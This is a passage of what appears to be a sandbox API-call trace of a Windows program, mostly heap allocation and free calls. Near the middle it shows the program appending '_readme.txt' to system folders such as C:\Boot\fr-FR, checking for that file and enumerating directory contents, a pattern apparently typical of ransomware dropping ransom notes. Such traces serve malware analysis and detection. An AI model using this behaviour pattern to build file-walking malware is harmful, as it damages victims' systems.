(HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.309] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0122.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.309] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.309] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.309] PathFindFileNameW (pszPath="") returned="" [0122.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.309] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.309] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.309] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.309] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x30667b8 [0122.310] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0122.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.310] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0122.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.311] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.311] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.311] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.311] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3ddf0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.311] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3ddf0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.311] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.311] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 